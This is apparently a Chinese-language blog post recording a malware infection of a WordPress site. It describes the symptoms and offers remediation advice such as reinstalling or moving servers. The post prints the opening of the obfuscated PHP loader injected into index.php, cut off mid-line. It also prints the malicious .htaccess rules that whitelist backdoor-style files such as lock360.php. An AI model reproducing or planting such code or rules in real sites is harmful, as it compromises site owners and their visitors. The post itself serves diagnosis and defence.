今天碰到一个比较厉害的病毒,会自动感染网站目录下面的index.php和.htaccess等文件,感染之后网站打不开,其他的影响不清楚,这里记录一下病毒分析和解决方法。
病毒具体情况:
首先,在index.php文件会插入一大串加密的代码:
<php $O_O_O_0O00=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");$O0_0O__0OO=$O_O_O_0O00[44].$O_O_O_0O00[53].$O_O_O_0O00[31].$O_O_O_0O00[65].$O_O_O_0O00[10].$O_O_O_0O00[53].$O_O_O_0O00[31].$O_O_O_0O00[44].$O_O_O_0O00[39].$O_O_O_0O00[21].$O_O_O_0O00[56].$O_O_O_0O00[31].$O_O_O_0O00[10].$O_O_O_0O00[56].$O_O_O_0O00[21
然后.htaccess文件会一直被串改为下面这样的:
<FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>
这个被病毒感染的网站使用的是cPanel的虚拟主机,比较奇怪的是我把根目录所有文件删完,然后刷新,依然会自动生成病毒文件,不明原因,所以直接给换了一台服务器安装的,一切正常了。
从WordPress官方论坛搜到的信息来看,这个病毒大概几个月之前就开始有人碰到了,不过没有明确的解决方案,万幸的是这个病毒不感染数据库,所以重装WordPress可以干掉这个病毒(可能还需要重装服务器系统或者更换一个服务器)。
另外网上有一个方法我没测试,先停用PHP进程,然后删除被感染的文件,然后重新启用PHP,你可以试一试。